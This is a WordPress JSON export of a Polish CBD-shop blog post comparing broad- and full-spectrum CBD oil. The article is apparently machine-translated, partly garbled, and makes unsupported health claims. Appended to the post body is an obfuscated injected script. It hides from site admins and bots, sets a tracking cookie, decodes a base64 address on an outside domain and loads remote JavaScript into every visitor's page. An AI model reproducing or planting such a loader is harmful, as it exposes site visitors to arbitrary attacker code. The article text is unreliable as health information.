{"id":10220,"date":"2024-12-07T11:44:04","date_gmt":"2024-12-07T11:44:04","guid":{"rendered":"https:\/\/blog.express-cbd.com\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/"},"modified":"2026-02-15T00:03:12","modified_gmt":"2026-02-15T00:03:12","slug":"olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania","status":"publish","type":"post","link":"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/","title":{"rendered":"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania"},"content":{"rendered":"\n<p>Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak &#8222;pe\u0142ne spektrum&#8221; i &#8222;szerokie spektrum&#8221; oleju CBD. Podj\u0119cie decyzji o tym, kt\u00f3ry rodzaj najlepiej spe\u0142nia Twoje potrzeby jest wa\u017cne, a zrozumienie r\u00f3\u017cnicy mi\u0119dzy tymi dwiema opcjami jest kluczem do sukcesu. Podczas gdy oba zawieraj\u0105 korzystne kannabinoidy i terpeny z ro\u015bliny konopi, r\u00f3\u017cni\u0105 si\u0119 one jednym kluczowym aspektem: obecno\u015bci\u0105 THC. W tym artykule skupimy si\u0119 na r\u00f3\u017cnych cechach olej\u00f3w CBD o szerokim i pe\u0142nym spektrum dzia\u0142ania, w tym na ich potencjalnych korzy\u015bciach, wadach i zastosowaniach. Ostatecznie, wyb\u00f3r pomi\u0119dzy najlepszymi z nich b\u0119dzie dla Ciebie bardziej przejrzysty.    <\/p>\n\n<h2 class=\"wp-block-heading\" id=\"h-understanding-cbd-oil-broad-spectrum-full-spectrum-and-isolate\">Zrozumie\u0107 olej CBD: Szerokie spektrum, pe\u0142ne spektrum i izolat<\/h2>\n\n<p>Kupuj\u0105c olej CBD w Wielkiej Brytanii lub gdziekolwiek indziej, napotkasz trzy g\u0142\u00f3wne rodzaje: Izolat, szerokie spektrum i pe\u0142ne spektrum. Ka\u017cdy z nich ma r\u00f3\u017cne korzy\u015bci i w\u0142a\u015bciwo\u015bci, kt\u00f3re odpowiadaj\u0105 r\u00f3\u017cnym potrzebom i priorytetom. <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-cbd-isolate-the-purest-form\">Izolat CBD: Najczystsza forma<\/h3>\n\n<p>Izolat CBD jest uwa\u017cany za najbardziej oczyszczon\u0105 form\u0119 kannabidiolu. Jest to czysty CBD bez \u017cadnych innych zwi\u0105zk\u00f3w. Je\u015bli chcesz do\u015bwiadczy\u0107 korzy\u015bci p\u0142yn\u0105cych z CBD bez THC lub innych kannabinoid\u00f3w, jest to najlepszy wyb\u00f3r.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-broad-spectrum-cbd-a-happy-medium\">CBD o szerokim spektrum dzia\u0142ania: Szcz\u0119\u015bliwe medium<\/h3>\n\n<p>Olej CBD o szerokim spektrum dzia\u0142ania jest produktem po\u015brednim, poniewa\u017c ma wi\u0119cej korzy\u015bci z ro\u015bliny przy mniejszej ilo\u015bci kannabinoid\u00f3w i terpen\u00f3w. W rzeczywisto\u015bci THC jest usuwane w szerokim spektrum, co pozwala zachowa\u0107 wi\u0119kszo\u015b\u0107 korzystnych zwi\u0105zk\u00f3w ro\u015bliny, w tym pomniejsze kannabinoidy i terpeny, dzi\u0119ki czemu u\u017cytkownicy mog\u0105 cieszy\u0107 si\u0119 &#8222;efektem otoczenia&#8221; bez konieczno\u015bci spo\u017cywania THC. <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-full-spectrum-cbd-the-whole-plant-experience\">Pe\u0142ne spektrum CBD: Do\u015bwiadczenie ca\u0142ej ro\u015bliny<\/h3>\n\n<p>Olej CBD o pe\u0142nym spektrum dzia\u0142ania zawiera naturalne zwi\u0105zki ro\u015bliny konopi wraz ze \u015bladowymi ilo\u015bciami THC (0,3% lub mniej). Ze wzgl\u0119du na synergiczn\u0105 interakcj\u0119 mi\u0119dzy kannabinoidami i terpenami (efekt entourage), zapewnia to najwy\u017cszy poziom korzy\u015bci. <\/p>\n\n<p>Zrozumienie tych r\u00f3\u017cnic jest wa\u017cne, aby wybra\u0107 odpowiedni produkt dla swoich potrzeb. Izolat, szerokie spektrum i pe\u0142ne spektrum CBD to dobre oleje CBD, ale ka\u017cdy z nich ma swoje w\u0142asne zalety w \u015bwiecie suplementacji CBD. <\/p>\n\n<h2 class=\"wp-block-heading\" id=\"h-broad-spectrum-cbd-a-middle-ground-between-isolate-and-full-spectrum\">CBD o szerokim spektrum dzia\u0142ania: \u015arodek mi\u0119dzy izolatem a pe\u0142nym spektrum.<\/h2>\n\n<h3 class=\"wp-block-heading\" id=\"h-understanding-the-spectrum\">Zrozumienie spektrum<\/h3>\n\n<p>Kupuj\u0105c olej CBD oferowany przez brytyjskich sprzedawc\u00f3w detalicznych, napotkasz trzy g\u0142\u00f3wne typy: szerokie spektrum, pe\u0142ne spektrum i izolat. Olej CBD o szerokim spektrum r\u00f3\u017cni si\u0119 nieco od dw\u00f3ch pozosta\u0142ych. Jego unikalny status pozwala u\u017cytkownikowi zr\u00f3wnowa\u017cy\u0107 wszechobecne zalety kannabinoid\u00f3w, jednocze\u015bnie unikaj\u0105c THC.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-the-entourage-effect-minus-thc\">Efekt \u015bwity bez THC<\/h3>\n\n<p>Badanie filogenetyczne kannabigerolu (CBG), brakuj\u0105cych ogniw chemicznych \u0142\u0105cz\u0105cych konopie indyjskie i chmiel, 2 tysi\u0105clecia ro\u015blin towarzysz\u0105cych i ich r\u00f3wnoczesne dywersyfikacje (Neuropharmacology. 2019 Sep 20). Prawdopodobnie kannabigerol (CBG, 1) zachowuje dalszy potencja\u0142 do eksploracji poza swoimi dobrze znanymi w\u0142a\u015bciwo\u015bciami biologicznymi. Jednak w tym momencie dywersyfikacja strukturalna mo\u017ce by\u0107 osi\u0105gni\u0119ta jedynie poprzez syntez\u0119, poniewa\u017c tylko ograniczona bezpo\u015brednia biosynteza piroli wyst\u0119puje w tym szlaku biosyntezy kannabinoid\u00f3w.  <\/p>\n\n<p>CBD o szerokim spektrum dzia\u0142ania zawiera wi\u0119kszo\u015b\u0107 korzystnych zwi\u0105zk\u00f3w ro\u015bliny konopi, takich jak kannabinoidy, terpeny i flawonoidy. Kompozycja ta zosta\u0142a zaprojektowana tak, aby \u0142\u0105czy\u0107 si\u0119 w &#8222;efekt synergii&#8221; w celu wzmocnienia potencjalnych korzy\u015bci p\u0142yn\u0105cych z CBD. Olej CBD o szerokim spektrum r\u00f3\u017cni si\u0119 od oleju CBD o pe\u0142nym spektrum tym, \u017ce jest poddawany dodatkowej obr\u00f3bce w celu usuni\u0119cia THC, co czyni go dobrym wyborem dla os\u00f3b, kt\u00f3re nie chc\u0105 \u015bladowych ilo\u015bci tego psychoaktywnego zwi\u0105zku w swoim oleju CBD.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-things-to-think-about-potential-benefits\">Rzeczy do przemy\u015blenia na temat potencjalnych korzy\u015bci<\/h3>\n\n<p>Wyb\u00f3r oleju CBD o szerokim spektrum dzia\u0142ania mo\u017ce oferowa\u0107 takie korzy\u015bci jak:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Wi\u0119cej kannabinoid\u00f3w ni\u017c w izolacie<\/li>\n\n\n\n<li>Brak ryzyka spo\u017cycia THC<\/li>\n\n\n\n<li>Potencjalnie zwi\u0119kszona skuteczno\u015b\u0107 dzi\u0119ki efektowi otoczenia<\/li>\n<\/ul>\n\n<p>Oczywi\u015bcie nale\u017cy podkre\u015bli\u0107 brak THC, przez co og\u00f3lna si\u0142a dzia\u0142ania jest nieco ni\u017csza ni\u017c w przypadku produkt\u00f3w o pe\u0142nym spektrum. Wybieraj\u0105c mi\u0119dzy szerokim spektrum a innymi rodzajami CBD, nale\u017cy wzi\u0105\u0107 pod uwag\u0119 swoje potrzeby, przepisy, potencjalne zasady, a tak\u017ce procedury, kt\u00f3re obowi\u0105zuj\u0105 w zakresie testowania narkotyk\u00f3w (lub w inny spos\u00f3b). <\/p>\n\n<h2 class=\"wp-block-heading\" id=\"h-full-spectrum-cbd-explaining-the-entourage-effect\">Pe\u0142ne spektrum CBD: Wyja\u015bnienie efektu Entourage<\/h2>\n\n<p>Mo\u017cesz r\u00f3wnie\u017c spotka\u0107 si\u0119 z terminem &#8222;pe\u0142ne spektrum&#8221; podczas poszukiwa\u0144 zakupu CBD, szczeg\u00f3lnie na rynku detalicznym w Wielkiej Brytanii. CBD o pe\u0142nym spektrum zawiera wszystkie kannabinoidy, kt\u00f3re s\u0105 naturalnie obecne w konopiach indyjskich, a tak\u017ce \u015bladowe ilo\u015bci (mniej ni\u017c 0,3%) THC. <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-the-entourage-effect\">Efekt \u015bwity<\/h3>\n\n<p>Olej CBD o pe\u0142nym spektrum jest wyj\u0105tkowy w\u015br\u00f3d innych rodzaj\u00f3w, poniewa\u017c zawiera specyficzne zjawisko, efekt otoczenia. Stwierdzono, \u017ce &#8222;Kiedy wszystkie zwi\u0105zki konopi dzia\u0142aj\u0105 razem, tworz\u0105 silniejszy efekt ni\u017c jakikolwiek pojedynczy zwi\u0105zek dzia\u0142aj\u0105cy samodzielnie, co nazywa si\u0119 efektem otoczenia. Potraktuj to jako symfoni\u0119, w kt\u00f3rej ka\u017cdy instrument bierze udzia\u0142, aby stworzy\u0107 harmonijn\u0105 ca\u0142o\u015b\u0107.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-cannabinoids-and-terpenes\">Kannabinoidy i terpeny<\/h3>\n\n<p>Olej CBD o pe\u0142nym spektrum zawiera o wiele wi\u0119cej kannabinoid\u00f3w opr\u00f3cz samego CBD, takich jak CBG, CBN i THC. Zawiera r\u00f3wnie\u017c terpeny, zwi\u0105zki aromatyczne, kt\u00f3re nadaj\u0105 konopiom indyjskim charakterystyczny zapach. Razem, sk\u0142adniki te mog\u0105 dzia\u0142a\u0107 synergistycznie, aby wzmocni\u0107 terapeutyczne dzia\u0142anie CBD.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-comparing-full-spectrum-to-other-types\">Por\u00f3wnanie pe\u0142nego spektrum z innymi typami<\/h3>\n\n<p>Produkty o pe\u0142nym spektrum zapewniaj\u0105 kompletny profil zwi\u0105zk\u00f3w konopi indyjskich. Nie s\u0105 to produkty o szerokim spektrum dzia\u0142ania, z usuni\u0119tym THC lub izolaty zawieraj\u0105ce tylko czysty CBD. Pe\u0142ne spektrum mo\u017ce by\u0107 najlepsze, gdy poszukiwany jest szeroki zakres efekt\u00f3w. Jest popularny w\u015br\u00f3d tych, kt\u00f3rzy chc\u0105 uzyska\u0107 jak najwi\u0119cej z CBD.   <\/p>\n\n<h2 class=\"wp-block-heading\" id=\"h-potential-benefits-of-broad-spectrum-vs-full-spectrum-cbd-oil\"><strong>Potencjalne korzy\u015bci oleju CBD o szerokim spektrum dzia\u0142ania w por\u00f3wnaniu z olejem CBD o pe\u0142nym spektrum dzia\u0142ania<\/strong><\/h2>\n\n<p>Przed zakupem konsumenci musz\u0105 zrozumie\u0107 zalety zar\u00f3wno preparat\u00f3w o szerokim, jak i pe\u0142nym spektrum dzia\u0142ania. Oba typy maj\u0105 swoje zalety, a u\u017cytkownicy musz\u0105 o nich wiedzie\u0107, aby uzyska\u0107 odpowiedni produkt, kt\u00f3rego faktycznie potrzebuj\u0105. <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-full-spectrum-cbd-oil-benefits\">Korzy\u015bci p\u0142yn\u0105ce ze stosowania oleju CBD o pe\u0142nym spektrum dzia\u0142ania:<\/h3>\n\n<p>Olej CBD o pe\u0142nym spektrum dzia\u0142ania zawiera wszystkie naturalne zwi\u0105zki z ro\u015bliny konopi, w tym \u015bladowe ilo\u015bci THC (do 0,3%). Po\u0142\u0105czenie kannabinoid\u00f3w, terpen\u00f3w i flawonoid\u00f3w mo\u017ce stworzy\u0107 &#8222;efekt otoczenia&#8221;, zwi\u0119kszaj\u0105c jego og\u00f3lny potencja\u0142 terapeutyczny. Wi\u0119kszo\u015b\u0107 u\u017cytkownik\u00f3w konopi o pe\u0142nym spektrum dzia\u0142ania twierdzi, \u017ce zauwa\u017cyli znaczn\u0105 ulg\u0119 w b\u00f3lu, zmniejszenie niepokoju i popraw\u0119 snu.  <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-broad-spectrum-cbd-oil-benefits\">Szerokie spektrum korzy\u015bci oleju CBD:<\/h3>\n\n<p>Olej CBD o szerokim spektrum dzia\u0142ania jest umiarkowany mi\u0119dzy pe\u0142nym spektrum a izolatem. Sk\u0142ada si\u0119 z r\u00f3\u017cnych kannabinoid\u00f3w i terpen\u00f3w oraz zawiera wiele sk\u0142adnik\u00f3w, ale nie zawiera THC. Dlatego te\u017c jest to \u015bwietny wyb\u00f3r dla os\u00f3b, kt\u00f3re chc\u0105 czerpa\u0107 korzy\u015bci ze zwi\u0105zk\u00f3w konopi, ale chc\u0105 unikn\u0105\u0107 THC. Produkty o szerokim spektrum dzia\u0142ania mog\u0105 by\u0107 szczeg\u00f3lnie interesuj\u0105ce dla sportowc\u00f3w, profesjonalist\u00f3w podlegaj\u0105cych testom narkotykowym lub os\u00f3b wra\u017cliwych na THC.   <\/p>\n\n<p>Oto tabela por\u00f3wnawcza przedstawiaj\u0105ca kluczowe r\u00f3\u017cnice mi\u0119dzy olejem CBD o pe\u0142nym i szerokim spektrum dzia\u0142ania:<\/p>\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Cecha<\/strong><\/td><td><strong>Olej CBD o pe\u0142nym spektrum dzia\u0142ania<\/strong><\/td><td><strong>Olej CBD o szerokim spektrum dzia\u0142ania<\/strong><\/td><\/tr><tr><td><strong>Obecno\u015b\u0107 kannabinoid\u00f3w<\/strong><\/td><td>Wszystkie kannabinoidy<\/td><td>Zawiera wiele kannabinoid\u00f3w<\/td><\/tr><tr><td><strong>Zawarto\u015b\u0107 THC<\/strong><\/td><td>Do <strong>0,3% THC<\/strong><\/td><td>Bez <strong>THC<\/strong><\/td><\/tr><tr><td><strong>Efekt otoczenia<\/strong><\/td><td>Tak, wszystkie zwi\u0105zki, w tym <strong>THC<\/strong><\/td><td>Tak, ale bez udzia\u0142u THC<\/td><\/tr><tr><td><strong>Terpeny i flawonoidy<\/strong><\/td><td>Obecny, przyczyniaj\u0105cy si\u0119 do efektu \u015bwity<\/td><td>Obecny, ale mo\u017ce by\u0107 nieco s\u0142abszy z powodu usuni\u0119cia THC<\/td><\/tr><tr><td><strong>Potencjalne korzy\u015bci<\/strong><\/td><td>Znaczna ulga w b\u00f3luZmniejszony niepok\u00f3jPoprawa jako\u015bci snu<\/td><td>Umiarkowana ulga w b\u00f3luNiewielkie zmniejszenie niepokojuBrak efekt\u00f3w <strong>THC <\/strong><\/td><\/tr><tr><td><strong>Idealny dla<\/strong><\/td><td>Og\u00f3lne dobre samopoczucie, u\u017cytkownicy, kt\u00f3rym nie przeszkadzaj\u0105 \u015bladowe ilo\u015bci <strong>THC<\/strong><\/td><td>Ci, kt\u00f3rzy chc\u0105 ca\u0142kowicie unikn\u0105\u0107 <strong>THC <\/strong>(np. sportowcy, profesjonali\u015bci)<\/td><\/tr><tr><td><strong>Obawy zwi\u0105zane z testowaniem narkotyk\u00f3w<\/strong><\/td><td>Mo\u017ce pojawi\u0107 si\u0119 w testach narkotykowych ze wzgl\u0119du na \u015bladowe ilo\u015bci <strong>THC<\/strong><\/td><td>Bez THC, bezpieczniejszy dla os\u00f3b poddawanych testom na obecno\u015b\u0107 narkotyk\u00f3w<\/td><\/tr><\/tbody><\/table><\/figure>\n\n<h2 class=\"wp-block-heading\" id=\"h-choosing-between-broad-spectrum-or-full-spectrum-cbd-oil\">Wyb\u00f3r mi\u0119dzy olejem CBD o szerokim lub pe\u0142nym spektrum dzia\u0142ania<\/h2>\n\n<p>Jak opisano powy\u017cej, zar\u00f3wno olej CBD o szerokim, jak i pe\u0142nym spektrum dzia\u0142ania ma wyj\u0105tkowe zalety. Wa\u017cne jest, aby zrozumie\u0107 nast\u0119puj\u0105ce kluczowe r\u00f3\u017cnice mi\u0119dzy nimi: <\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>We\u017a pod uwag\u0119 swoj\u0105 tolerancj\u0119 na THC:<\/strong> Szerokie spektrum, brak THC jest bezpieczniejszym wyborem, je\u015bli jeste\u015b wra\u017cliwy na THC lub obawiasz si\u0119 test\u00f3w narkotykowych.<\/li>\n\n\n\n<li><strong>Oce\u0144 po\u017c\u0105dane efekty: <\/strong>Olej CBD o pe\u0142nym spektrum dzia\u0142ania zawiera wszystkie zwi\u0105zki konopi, kt\u00f3re wsp\u00f3\u0142dzia\u0142aj\u0105 ze sob\u0105 w celu uzyskania &#8222;efektu otoczenia&#8221;. Mo\u017ce wi\u0119c by\u0107 silniejszy ni\u017c olej o szerokim spektrum dzia\u0142ania, kt\u00f3ry zawiera mniej zwi\u0105zk\u00f3w konopi i jezioro THC.<\/li>\n\n\n\n<li><strong>Ocena kwestii prawnych: <\/strong>Ze wzgl\u0119du na ograniczenia dotycz\u0105ce THC, u\u017cytkownicy oleju CBD o pe\u0142nym spektrum mog\u0105 napotka\u0107 pewne problemy prawne w niekt\u00f3rych regionach, podczas gdy szerokie spektrum jest dozwolone na ca\u0142ym \u015bwiecie jako wolne od THC. Przed zakupem nale\u017cy sprawdzi\u0107 lokalne przepisy. <\/li>\n\n\n\n<li><strong>Uwzgl\u0119dnienie smaku i aromatu <\/strong>: Olej CBD o pe\u0142nym spektrum cz\u0119sto zawiera wy\u017cszy poziom naturalnego aromatu konopi ni\u017c olej o szerokim spektrum. Przed dokonaniem wyboru nale\u017cy wi\u0119c okre\u015bli\u0107 swoje preferencje dotycz\u0105ce aromatu. <\/li>\n\n\n\n<li><strong>Por\u00f3wnaj ceny: <\/strong>Olej CBD o pe\u0142nym spektrum dzia\u0142ania jest zazwyczaj nieco dro\u017cszy ze wzgl\u0119du na bardziej naturalny sk\u0142ad i zawarto\u015b\u0107 wszystkich sk\u0142adnik\u00f3w ro\u015blin konopi oraz THC jako dodatku; ceny mog\u0105 si\u0119 jednak r\u00f3\u017cni\u0107 w zale\u017cno\u015bci od marki.<\/li>\n<\/ul>\n\n<p>Oleje CBD o pe\u0142nym i szerokim spektrum dzia\u0142ania maj\u0105 swoje wady i zalety, a wyb\u00f3r ostatecznie sprowadza si\u0119 do osobistych potrzeb i priorytet\u00f3w. Skonsultuj si\u0119 ze specjalist\u0105 medycznym, aby wybra\u0107 najbardziej odpowiedni\u0105 opcj\u0119. <\/p>\n\n<h3 class=\"wp-block-heading\" id=\"h-conclusion\">Wnioski<\/h3>\n\n<p>Og\u00f3lnie rzecz bior\u0105c, wybieraj\u0105c mi\u0119dzy olejem CBD o szerokim spektrum a olejem CBD o pe\u0142nym spektrum, zastan\u00f3w si\u0119 nad swoimi celami i preferencjami dotycz\u0105cymi dobrego samopoczucia. Pe\u0142ne spektrum oferuje lepsze efekty otoczenia dzi\u0119ki \u015bladowym ilo\u015bciom THC, ale szerokie spektrum jest \u015bwietn\u0105 alternatyw\u0105 bez THC z wieloma takimi samymi korzy\u015bciami. Oba rodzaje mog\u0105 by\u0107 skutecznym dodatkiem do rutyny, je\u015bli pochodz\u0105 od renomowanego producenta.    <\/p>\n\n<p>Nigdy nie zapominaj o konsultacji medycznej ze specjalist\u0105, szczeg\u00f3lnie je\u015bli obawiasz si\u0119 interakcji z lekami i wra\u017cliwo\u015bci na THC. Ponadto, zag\u0142\u0119bienie si\u0119 w wa\u017cne r\u00f3\u017cnice mi\u0119dzy opcjami CBD pomaga podj\u0105\u0107 \u015bwiadom\u0105 decyzj\u0119, aby lepiej zaspokoi\u0107 indywidualne potrzeby i ukszta\u0142towa\u0107 znacznie \u0142atwiejszy styl \u017cycia. Zawsze zaczynaj od niskiej dawki i stopniowo j\u0105 zwi\u0119kszaj, aby znale\u017a\u0107 najlepsz\u0105 ilo\u015b\u0107 dla swoich potrzeb.  <\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><p style=\"text-align: center\"><a href=\"https:\/\/express-cbd.com\" target=\"_blank\">Visit Express CBD Store<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak &#8222;pe\u0142ne spektrum&#8221; i &#8222;szerokie spektrum&#8221; oleju CBD. Podj\u0119cie&#8230;<\/p>\n","protected":false},"author":1,"featured_media":10054,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[939],"tags":[],"class_list":["post-10220","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cbd-oil"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.3) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania - Express CBD Blog<\/title>\n<meta name=\"description\" content=\"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak &quot;pe\u0142ne spektrum&quot; i &quot;szerokie spektrum&quot; oleju CBD.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania\" \/>\n<meta property=\"og:description\" content=\"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak &quot;pe\u0142ne spektrum&quot; i &quot;szerokie spektrum&quot; oleju CBD.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.express-cbd.com\/pl\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\/\" \/>\n<meta property=\"og:site_name\" content=\"Express CBD Blog\" \/>\n<meta property=\"article:published_time\" content=\"2024-12-07T11:44:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-02-15T00:03:12+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/blog.express-cbd.com\/wp-content\/uploads\/2024\/11\/200.png\" \/>\n\t<meta property=\"og:image:width\" content=\"940\" \/>\n\t<meta property=\"og:image:height\" content=\"788\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"mwaqas\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mwaqas\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/\"},\"author\":{\"name\":\"mwaqas\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#\\\/schema\\\/person\\\/78065cdeb6132989e9c08e9a8e41a9de\"},\"headline\":\"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania\",\"datePublished\":\"2024-12-07T11:44:04+00:00\",\"dateModified\":\"2026-02-15T00:03:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/\"},\"wordCount\":1877,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/200.png\",\"articleSection\":[\"CBD Oil\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/\",\"url\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/\",\"name\":\"Olej CBD o szerokim spektrum dzia\u0142ania a olej CBD o pe\u0142nym spektrum dzia\u0142ania - Express CBD Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/blog.express-cbd.com\\\/pl\\\/olej-cbd-o-szerokim-spektrum-dzialania-a-olej-cbd-o-pelnym-spektrum-dzialania\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/blog.express-cbd.com\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/200.png\",\"datePublished\":\"2024-12-07T11:44:04+00:00\",\"dateModified\":\"2026-02-15T00:03:12+00:00\",\"description\":\"Je\u015bli kiedykolwiek mia\u0142e\u015b okazj\u0119 bada\u0107 produkty CBD, musia\u0142e\u015b s\u0142ysze\u0107 takie terminy jak \\\"pe\u0142ne spektrum\\\" i \\\"szerokie spektrum\\\" oleju 